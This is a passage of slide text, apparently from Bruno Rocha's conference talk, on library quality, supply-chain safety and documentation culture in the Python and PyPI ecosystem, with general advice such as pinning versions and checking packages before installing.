  • 35. Why “The Python” dont fix this issues without depending on third party services?
  • 36. https://github.com/pypa New generation of PyPI is `warehouse` and you can help On Github.com/pypa Only 18 contributors?
  • 38. Warehouse is a next generation Python Package Repository designed to replace the legacy code base that currently powers PyPI
  • 39. Rank: 4.5 - safe Rank: 2.0 - outdated Rank: 1.0 - danger 1.234 Reviews ++ 1 Review --Why not making it more `social driven` to address the library quality problem? Example: More maintainers More quality points!
  • 40. What to do about safety ? - Check before installing - Install known and trusted libraries - Use SafetyCI - pyup.io - Create (and share) more tools to help with verification - Report if lib is suspected - Collaborate to the Pypa / Warehouse project
  • 42. Every library published in PyPI comes with an invisible tag that says: "I am aware of the responsibilities that I must assume when I publish this code and I promise to do my best to keep it with quality until the end of time!" And I'll leave it explicit if for any reason I can not keep leaving the path clear For anyone wanting to create a fork!
  • 43. That “one man project” is not so cool Maintanable: Project that can be maintable by as many and diverse people.
  • 44.
  • 45. Leftpad is ` npm` problem, will not happen with Python?
  • 46. pip install requests ● 99.9% of installations of Python environments install requests ● If the version is not specified your build may break ● Tools like Travis-Ci depend on requests and have already broken for this! ● Operating systems bring requests by default ● Until a few months ago this was a 'one man band' project, but after recent issues with releases the creator decided to exclude himself as administrator from the lib and elected other maintainers ● It is not the only one, there are other Python libs published with the same risk ● Always specify your versions ● Use pyup.io or requires.io or any other solution of the type ● Use safety / IC or something
  • 47. ….. Too many broken releases in a single day... TravisCi broke (even if you pinned the version) it was depending on requests itself. And backwards incompatible code was pushed. So the creator assumed the responsability and did the right thing! Thanks!!!
  • 50.
  • 51. Just like we did recently, changing our testing culture. We need efforts to change our documentation culture!
  • 52. Q: Why most libraries do not have good documentation? A: Writing documentation is a boring process! Q: Why is it boring? A: Non-friendlier tools and formats (rst) drive people away from the documentation. We need to do as we did with the tests and adopt easier formats (md?) and tools. (in other words we need a `py.test` for documentation. Q: How to encourage people to contribute documentation? A: First we need to define the process (as well as in the tests) and then create a manifesto attracting contributors, showing the importance, providing a certain status to the documenter, and using the events to foster that culture.
  • 53. Tips to write good libs python.apichecklist.com
  • 54. Conclusion - Python is not a product! - The ecosystem (mainly the community) already has above average quality - We need more theoretical quality materials for beginners - Documentation is important we need to give it more focus - We can use tools to help in the QA of Python libraries - We can collaborate with the evolution of PyPI - We can collaborate with the evolution of Python - The quality of the ecosystem is OUR responsibility - Be responsible and publish only quality libraries in PyPI - We need a collaborative solution to classify 100,000+ libs - Collaborate!
  • 55. Bruno Rocha - @rochaCbruno Quality Engineer @ RedHat.com Podcaster @ Castalio.info Teacher @ CursoDePython.com.br Blogger @ BrunoRocha.org